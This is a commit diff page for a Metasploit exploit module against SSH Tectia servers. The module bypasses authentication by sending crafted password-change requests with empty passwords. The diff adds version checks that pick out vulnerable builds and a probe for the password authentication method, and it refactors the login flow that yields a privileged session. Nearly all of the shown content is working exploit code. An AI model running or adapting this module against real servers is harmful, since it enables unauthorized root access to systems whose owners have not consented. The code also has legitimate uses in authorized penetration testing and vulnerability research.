Skip to content

Commit 215017e

Browse files
committed
Merge remote branch 'wchen-r7/better_tectia_ssh'
2 parents 5e44987 + 0692734 commit 215017e

File tree

1 file changed

+78
-57
lines changed

1 file changed

+78
-57
lines changed

modules/exploits/unix/ssh/tectia_passwd_changereq.rb

Lines changed: 78 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -48,7 +48,7 @@ def initialize(info={})
4848
'Arch' => ARCH_CMD,
4949
'Targets' =>
5050
[
51-
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
51+
['Unix-based Tectia SSH 6.3 or prior', {}]
5252
],
5353
'Privileged' => true,
5454
'DisclosureDate' => "Dec 01 2012",
@@ -63,19 +63,50 @@ def initialize(info={})
6363

6464
register_advanced_options(
6565
[
66-
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
6766
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
6867
]
6968
)
7069
end
7170

7271
def check
7372
connect
74-
banner = sock.get_once
75-
print_status("#{rhost}:#{rport} - #{banner}")
73+
banner = sock.get_once.strip
74+
print_status("#{rhost}:#{rport} - Banner: #{banner}")
7675
disconnect
7776

78-
return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
77+
# Vulnerable version info obtained from CVE
78+
version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
79+
build = version.split('.')[-1].to_i
80+
81+
case version
82+
when /^6\.0/
83+
unless (4..14).include?(build) or (17..20).include?(build)
84+
return Exploit::CheckCode::Safe
85+
end
86+
87+
when /^6\.1/
88+
unless (0..9).include?(build) or build == 12
89+
return Exploit::CheckCode::Safe
90+
end
91+
92+
when /^6\.2/
93+
unless (0..5).include?(build)
94+
return Exploit::CheckCode::Safe
95+
end
96+
97+
when /^6\.3/
98+
unless (0..2).include?(build)
99+
return Exploit::CheckCode::Safe
100+
end
101+
else
102+
return Exploit::CheckCode::Safe
103+
end
104+
105+
# The vulnerable version must use PASSWORD method
106+
user = Rex::Text.rand_text_alpha(4)
107+
transport, connection = init_ssh(user)
108+
return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)
109+
79110
return Exploit::CheckCode::Safe
80111
end
81112

@@ -87,54 +118,41 @@ def rport
87118
datastore['RPORT']
88119
end
89120

90-
#
91-
# This is where the login begins. We're expected to use the keyboard-interactive method to
92-
# authenticate, but really all we want is skipping it so we can move on to the password
93-
# method authentication.
94-
#
95-
def auth_keyboard_interactive(user, transport)
96-
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
97-
auth_req_pkt = Net::SSH::Buffer.from(
98-
:byte, 0x32, #userauth request
99-
:string, user, #username
100-
:string, "ssh-connection", #service
101-
:string, "keyboard-interactive", #method name
102-
:string, "", #lang
103-
:string, ""
104-
)
121+
def is_passwd_method?(user, transport)
122+
# A normal client is expected to send a ssh-userauth packet.
123+
# Without it, the module can hang against non-vulnerable SSH servers.
124+
transport.send_message(transport.service_request("ssh-userauth"))
125+
message = transport.next_message
105126

106-
user_auth_pkt = Net::SSH::Buffer.from(
107-
:byte, 0x3D, #userauth info
108-
:raw, 0x01, #number of prompts
109-
:string, "", #password
110-
:raw, "\0"*32 #padding
111-
)
127+
# 6 means SERVICE_ACCEPT
128+
if message.type != 6
129+
print_error("Unexpected message: #{message.inspect}")
130+
return false
131+
end
112132

113-
transport.send_message(auth_req_pkt)
114-
message = transport.next_message
115-
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
133+
# We send this packet as an attempt to see what auth methods are available.
134+
# The only auth method we want is PASSWORD.
135+
pkt = Net::SSH::Buffer.from(
136+
:byte, 0x32, #userauth request
137+
:string, user, #username
138+
:string, "ssh-connection", #service
139+
:string, "password" #method name
140+
)
141+
pkt.write_bool(true)
142+
pkt.write_string("") #Old pass
143+
pkt.write_string("") #New pass
116144

145+
transport.send_message(pkt)
117146
message = transport.next_message
118-
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
119147

120-
# USERAUTH INFO
121-
transport.send_message(user_auth_pkt)
122-
message = transport.next_message
123-
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
124-
125-
2.times do |i|
126-
#USRAUTH REQ
127-
transport.send_message(auth_req_pkt)
128-
message = transport.next_message
129-
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
130-
131-
# USERAUTH INFO
132-
transport.send_message(user_auth_pkt)
133-
message = transport.next_message
134-
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
148+
# Type 51 means the server is trying to tell us what auth methods are allowed.
149+
if message.type == 51 and message.to_s !~ /password/
150+
print_error("#{rhost}:#{rport} - This host does not use password method authentication")
151+
return false
135152
end
136-
end
137153

154+
return true
155+
end
138156

139157
#
140158
# The following link is useful to understand how to craft the USERAUTH password change
@@ -155,7 +173,7 @@ def userauth_passwd_change(user, transport, connection)
155173

156174
transport.send_message(pkt)
157175
message = transport.next_message.type
158-
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
176+
print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
159177

160178
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
161179
transport.send_message(transport.service_request("ssh-userauth"))
@@ -169,23 +187,26 @@ def userauth_passwd_change(user, transport, connection)
169187
end
170188
end
171189

172-
def do_login(user)
173-
opts = {:user=>user, :record_auth_info=>true}
190+
def init_ssh(user)
191+
opts = {:user=>user, :record_auth_info=>true, :port=>rport}
174192
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
175193
transport = Net::SSH::Transport::Session.new(rhost, options)
176194
connection = Net::SSH::Connection::Session.new(transport, options)
177-
auth_keyboard_interactive(user, transport)
178-
userauth_passwd_change(user, transport, connection)
195+
196+
return transport, connection
179197
end
180198

181-
def exploit
182-
# Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
183-
# engaging a variety of SSHD targets on a network.
184-
if check != Exploit::CheckCode::Appears
185-
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
186-
return
199+
def do_login(user)
200+
transport, connection = init_ssh(user)
201+
passwd = is_passwd_method?(user, transport)
202+
203+
if passwd
204+
conn = userauth_passwd_change(user, transport, connection)
205+
return conn
187206
end
207+
end
188208

209+
def exploit
189210
c = nil
190211

191212
begin

0 commit comments

Comments
 (0)